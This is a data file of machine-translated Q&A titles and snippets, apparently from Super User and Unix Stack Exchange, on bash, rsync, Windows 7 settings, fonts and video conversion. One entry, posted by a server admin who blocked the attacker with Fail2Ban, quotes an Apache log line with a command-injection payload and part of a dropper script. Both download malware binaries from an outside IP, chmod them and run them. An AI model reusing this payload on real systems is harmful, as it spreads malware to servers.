2 如何从bash中的上一个命令获取特定参数? 在bash中,您可以用来!*从上一个命令中获取所有参数。例如,如果您这样做了cp /some/path /some/other/path,然后又做了mv !*,第二个命令将扩展为mv /some/path /some/other/path。 是否有类似这样的东西可用于从命令而不是全部命令中访问特定参数? 31 command-line bash command-line-arguments
1 我应该把脚本放在哪里? 说我已经创建了一个bash脚本,它将使ftp用户,为该用户安装一些路径等。将其放置在文件系统中的适当位置?最好有一些资源清楚地说明文件系统的层次结构。 31 ubuntu filesystems
1 如何排除rsync从删除中排除? 我正在使用rsync使用以下命令在多台计算机上同步文件: rsync -az -e "ssh -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no" \ --delete --delete-excluded --force --exclude=.git --exclude=.bundle \ --exclude=tmp --exclude=log/* --exclude=*.log --exclude=*.pid \ user@host:/path/to/src/ /var/build/dest 我想排除所有日志文件从源转移到目标,并删除目标上所有现有的文件。所以我使用--exclude=*.log与--delete-excluded它的伟大工程。 但是我想在目标上保留某些日志文件。我想要一个--exclude-from-delete选择。 rsync可能吗? 31 linux command-line rsync
7 linux以ls或其他命令显示文件夹内容的大小 我知道这些文件夹每个都有> 80gb的文件。但是,它们仅以ls -lah显示4.0K吗?我如何让ls显示包括内容在内的尺寸? [root@aapsan01 aapxen01]# ls -lah total 48K drwxrwxrwx 6 root root 4.0K Sep 29 03:45 . drwxrwxrwx 15 root root 4.0K Sep 27 09:15 .. drwxr-xr-x 2 root root 4.0K Sep 29 03:45 aapxen01.0 drwxr-xr-x 2 root root 4.0K Sep 28 12:10 aapxen01.1 drwxr-xr-x 2 root root 4.0K … 31 linux command-line
6 如何告诉Windows 7信任特定的网络位置? 如何告诉Windows 7信任特定的网络位置?我不确定如何从问题的标题中进行阐述! 我不断收到弹出式窗口,也就是“此位置不受信任”。 我已将网络位置映射到驱动器,并且我想100%信任它,该怎么办? 31 windows-7 networking trust
7 如何在Windows上安装OS X * .TTC字体?错误:“ *。TTC似乎不是有效的字体” 我同时拥有一台运行OS X 10.6 Snow Leopard的Mac和一台运行Windows 7的PC。 在我的Mac上,是一种叫做“ AmericanTypewriter.ttc”的字体。我想在PC上针对特定的创意项目使用该字体。我能够将实际的字体文件复制到PC,但是当我尝试将其安装到Windows Fonts文件夹时,出现以下错误消息: “无法安装(FONTNAME).ttc-文件'(FONTNAME).ttc'似乎不是有效的字体。” Windows上可以安装* .TTC格式的字体文件吗?如果是这样,怎么办? 谢谢! 更新: 我下载了在此日语页面上找到的简单ttc2ttf实用程序(ttc2ttf_AA.tar.gz)的源代码,并通过g ++ 在cygwin下进行了编译。生成的可执行文件从TTC / True Type Collection中提取了一个文件“ AmericanTypewriter.ttf”。(为什么集合中只有一个文件!?) 但是,当我尝试将生成的AmericanTypewriter.ttf安装到Windows上时,仍然收到类似于以上错误消息。我又难过了 ps我在Windows上不再需要此字体,但是现在我确定了原因和操作方法:-) 31 windows-7 macos fonts truetype
9 Windows中的B:驱动器发生了什么,为什么硬盘驱动器默认为C? 为什么我看到一个A:驱动器和一个C:驱动器,但没有看到驱动B:器? 磁盘分区从C开始是有原因的吗?可以更改该字母名称吗? 31 windows hard-drive partitioning
13 Windows 7的注销和待机键盘快捷键是否存在? 我喜欢Windows-L键盘快捷键来锁定计算机。“注销”和“待机”是否有类似的快捷方式?是否可以将Windows-L重新映射到其他功能? 31 windows-7 keyboard-shortcuts standby logoff
4 使用Windows 7关闭自动登录 我将Windows 7设置为在家中自动登录我的帐户。我设置了密码,以便可以远程访问它。似乎这是控制面板中某处的功能,但是现在我找不到它可以关闭。我知道我曾经在Windows的旧版本中使用Tweak UI来执行此操作,在此之前我可以编辑注册表。。。但似乎他们为Windows 7更改了它 31 windows-7 windows passwords login
3 从MOV转换为MP4容器格式 我有一台数码相机,可以记录1080p H.264格式,但是不幸的是它使用MOV容器格式。基本上,除了摄像机和VLC外,我什么都没有,它们只能原生播放这种格式。 是否有工具可以通过仅替换容器格式将视频转换为格式?因为编码非常好,所以速度会快很多。 最好选择文件夹并将所有内容转换为更受人尊敬的容器格式,例如MP4。 我不想触碰视频的实际质量,我希望转换速度尽可能快。 31 video-conversion mp4 h.264 video-encoding
2 “ echo $(stuff)”或“ echo`stuff`”有什么问题? 我使用以下之一 echo $(stuff) echo `stuff` (stuff例如pwd或date或更复杂的地方)。 然后我被告知,这种语法是错误的,是一种错误的做法,不雅致,过多,冗余,过于复杂,不道德的编程,无礼,天真等。 但是该命令确实有效,那么究竟出了什么问题呢? 31 shell-script sh echo
4 无法播放声音:设备正在被其他应用程序使用 我试图更改扬声器设置,并且每次单击“测试”时,在Windows 7 SP1上都会收到此错误消息。我尝试运行“ sndvol”以查看应用程序列表,但列表为空。 由于我尝试测试新的扬声器设置,因此现在所有应用程序都没有声音,即使我切换回也无法听到声音。 我还没有更新声音驱动程序,所以我不知道可能会发生什么变化。 是什么原因造成的? 31 windows-7 audio
2 这个bash脚本做什么?[尝试失败] 我一直在注意服务器apache日志,最近有以下奇怪的几行: 156.222.222.13 - - [08/Sep/2018:04:27:24 +0200] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.173.159/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 0 "-" "LMAO/2.0" 因此,我做了一个自定义的Fail2Ban过滤器,并开始禁止请求这些/login.cgi URL的IP。 但是我对他们正在尝试执行的操作感到好奇,因此我撤消了他们正在尝试执行的脚本,但我似乎无法弄清楚它到底在做什么。关于删除/ var和/ tmp中的arch文件夹的东西? 无论如何,这里是: #!/bin/sh u="asgknskjdgn" bin_names="mmips mipsel arm arm7 powerpc x86_64 x86_32" http_server="80.211.173.159" http_port=80 cd /tmp/||cd /var/ for name in $bin_names do rm -rf $u cp $SHELL $u chmod 777 $u >$u wget http://$http_server:$http_port/$name … 31 linux bash apache-http-server shell-script
3 我如何在Linux bash终端中看到所有当前定义的环境变量的列表? 在Linux bash终端中,通常设置了许多环境变量,例如$PATH和$HOME。 是否可以查看所有已设置的环境变量?怎么样? 31 environment-variables